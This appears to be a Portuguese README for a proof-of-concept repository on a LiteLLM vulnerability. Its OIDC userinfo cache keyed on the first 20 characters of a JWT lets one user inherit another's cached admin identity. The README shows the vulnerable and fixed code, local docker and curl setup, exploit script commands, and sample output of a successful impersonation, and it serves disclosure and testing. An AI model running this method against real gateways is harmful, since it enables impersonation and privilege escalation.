
O código para reproduzir pessoalmente a vulnerabilidade correspondente
O cache de userinfo OIDC do LiteLLM usa
token[:20]como chave de cache. Dois JWTs diferentes assinados com o mesmo algoritmo produzem primeiros 20 caracteres idênticos, permitindo que um atacante não autenticado herde a identidade e permissões em cache de outro utilizador.
| Campo | Valor |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (CRÍTICO) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (CRÍTICO) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Autenticação Incorreta) / CWE-222 (Credenciais Insuficientemente Protegidas) |
| Afetado | LiteLLM < 1.83.0 (com enable_jwt_auth: true) |
| Corrigido | v1.83.0+ (chave de cache alterada para sha256(token)) |
| Publicado | 2026-04-06 |
| Descoberto por | Veria Labs |
| Links | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM é um AI Gateway / servidor proxy para chamar APIs LLM. Quando a autenticação JWT
está ativada (enable_jwt_auth: true), o LiteLLM valida os tokens contra um fornecedor OIDC
e armazena em cache a resposta userinfo.
A vulnerabilidade: A chave de cache usa apenas os primeiros 20 caracteres do JWT:
# Código vulnerável (pré-1.83.0)
cache_key = token[:20] # Apenas primeiros 20 caracteres!
Um JWT é composto por três segmentos codificados em base64url separados por pontos:
<header>.<payload>.<signature>
O header (ex.: {"alg":"RS256","typ":"JWT"}) codifica de forma idêntica para todos os tokens
que usam o mesmo algoritmo de assinatura. Isto significa que dois JWTs diferentes — emitidos para
utilizadores completamente diferentes — terão os mesmos primeiros 20 caracteres.
1. Admin autentica → LiteLLM busca userinfo → em cache com chave = token[:20]
↑
2. Atacante cria JWT com mesmo algoritmo (RS256) ────────────────┘
→ token[:20] é IDÊNTICO → cache HIT → herda identidade do admin
Nota sobre Licenciamento Enterprise: A autenticação JWT/OIDC é uma funcionalidade exclusiva enterprise no LiteLLM (requer
LITELLM_LICENSE). Para reprodução local da CVE, ambos os Dockerfiles alteram a verificaçãopremium_userparaTrue. Isto não afeta a vulnerabilidade — a colisão de chave de cache (token[:20]) existe independentemente da verificação enterprise.A primeira inicialização executa migrações Prisma (~60-90s). O LiteLLM estará pronto quando os logs mostrarem
"Uvicorn running on http://0.0.0.0:4000".
# 1. Construir e iniciar LiteLLM vulnerável + fornecedor OIDC simulado
docker compose up -d --build
# 2. Instalar dependências Python
pip install -r requirements.txt
# 3. Criar utilizadores de teste (necessário para autenticação JWT — chave mestra necessária)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrar a colisão de chave de cache
python3 exploit/exploit.py --mode demo
# 5. Executar o exploit completo (bypass de autenticação via colisão de cache)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Opcional) Verificar que está corrigido na v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Modo demo — mostra a colisão de chave de cache:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLISÃO: Ambos os tokens partilham os mesmos primeiros 20 caracteres!
Razão: Ambos os tokens usam assinatura RS256 → header JWT base64 idêntico → primeiros 20 caracteres idênticos
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Modo exploit — demonstra o bypass de autenticação real:
[VULNERÁVEL] Tentativa de Exploit — target: http://localhost:4000
[*] Passo 1: Obtendo JWTs do fornecedor OIDC...
Colisão de prefixo: True
[*] Passo 2: Enviando JWT do admin para o LiteLLM (preenche cache OIDC)...
HTTP 200
Resposta: {"user_id": "admin", ...}
[*] Passo 3: Enviando JWT do atacante (tentativa de colisão de cache)...
HTTP 200
Resposta: {"user_id": "admin", ...} ← ADMIN HERDADO!
[🔥] EXPLOIT BEM-SUCEDIDO! Atacante herdou identidade de admin!
token[:20] do atacante coincidiu com a chave de cache do admin.
Resposta user_id='admin' (esperado 'admin' para escalação)
Versão corrigida — chave de cache sha256 previne a colisão:
[CORRIGIDO] Tentativa de Exploit — target: http://localhost:4001
[*] Passo 1: Obtendo JWTs do fornecedor OIDC...
Colisão de prefixo: True
[*] Passo 2: Enviando JWT do admin para o LiteLLM (preenche cache OIDC)...
HTTP 200
Resposta: {"user_id": "admin", ...}
[*] Passo 3: Enviando JWT do atacante (tentativa de colisão de cache)...
HTTP 200
Resposta: {"user_id": "attacker", ...} ← PRÓPRIA IDENTIDADE preservada
[+] Atacante identificado como user_id='attacker'.
Versão corrigida: colisão de cache prevenida.
Em litellm/proxy/auth/handle_jwt.py, o cache de userinfo OIDC
é indexado por token[:20]:
# Vulnerável (pré-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Apenas primeiros 20 caracteres!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → ignora busca userinfo!
# Corrigido (v1.83.0+) — mesmo ficheiro, linha 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] é Insuficiente| Componente do token | Inclui dados específicos do utilizador? | Fixo para o mesmo algoritmo? |
|---|---|---|
| Header (primeiros ~30 chars) | ❌ Não | ✅ Sim — base64 idêntico |
| Payload (específico do utilizador) | ✅ Sim | ❌ Não — único por utilizador |
| Assinatura | ✅ Sim | ❌ Não — único por chave |
Uma vez que o header é a única parte dentro dos primeiros 20 caracteres, e o header é idêntico para todos os tokens que usam o mesmo algoritmo de assinatura, cada JWT RS256 do mesmo emissor tem os exatos mesmos primeiros 20 caracteres.
| Cenário | Descrição |
|---|---|
| Escalação de Privilégios | Utilizador com privilégios baixos torna-se admin via colisão de cache |
| Impersonação Horizontal | Personificar qualquer utilizador cujo userinfo esteja em cache |
| Cadeia de Bypass de Autenticação | Combinar com CVE-2026-35029 para alcançar RCE |
CVE-2026-35030/
├── README.md # Este ficheiro
├── docker-compose.yml # LiteLLM vulnerável + corrigido + OIDC simulado
├── litellm_config.yaml # Config LiteLLM com autenticação JWT ativada
├── requirements.txt # Dependências Python (PoC)
├── litellm-vuln/
│ └── Dockerfile # LiteLLM vulnerável v1.82.5 com patch enterprise
├── litellm-fixed/
│ └── Dockerfile # LiteLLM corrigido v1.83.0+ com chave de cache sha256
├── oidc-provider/
│ ├── Dockerfile # Imagem do fornecedor OIDC simulado
│ ├── requirements.txt
│ └── server.py # Mock OIDC (FastAPI)
├── exploit/
│ ├── exploit.py # Script PoC principal do exploit
│ └── token_forge.py # Utilitários de colisão JWT
├── docs/
│ └── advisory.md # Referência do aviso
└── screenshots/
└── README.md # Placeholder para screenshots de prova
sha256(token))enable_jwt_auth: falseAviso: Este conteúdo é fornecido para fins educacionais e testes de segurança autorizados apenas.